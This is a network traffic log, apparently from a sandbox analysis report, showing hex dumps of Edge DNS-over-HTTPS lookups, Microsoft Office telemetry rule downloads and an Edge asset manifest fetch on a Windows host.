2024-11-28 01:27:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
79	192.168.2.6	49864	162.159.61.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693b40bce0f9c-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 f7 00 04 8e fb 28 c3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49862	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693b40ce60cc4-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 22 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom"Q)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
81	192.168.2.6	49854	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693b459f018b4-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 ff 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49841	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: f73eacfc-701e-0001-0b91-3fb110000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012741Z-174f7845968kvnqxhC1EWRmf3g0000000gm0000000005mfm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:41 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49840	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: dd02da03-701e-001e-0d91-3ff5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012741Z-174f7845968n2hr8hC1EWR9cag0000000xfg0000000015t7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.6	49866	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693b5af634302-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fb 20 63 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom c)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.6	49869	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49842	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:41 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 417b9f3b-401e-0029-4091-3f9b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012741Z-174f7845968kvnqxhC1EWRmf3g0000000gh000000000b6fw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:41 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.6	49867	162.159.61.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:41 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:41 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:41 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:41 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693b62b90de9b-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:41 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 27 00 04 8e fa 40 43 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom'@C)

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49868	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:42 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:42 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:42 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: fcd7fe31-301e-0033-0c91-3ffa9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012742Z-174f7845968px8v7hC1EWR08ng0000000y1g000000005pa8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:42 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.6	49870	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:42 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:42 UTC	563	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:42 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: 5f8eb5f8-301e-0064-07ed-40d8a7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012742Z-174f7845968kvnqxhC1EWRmf3g0000000geg00000000md3k Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:42 UTC	15821	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-28 01:27:42 UTC	16384	IN	Data Raw: 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 Data Ascii: \|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD
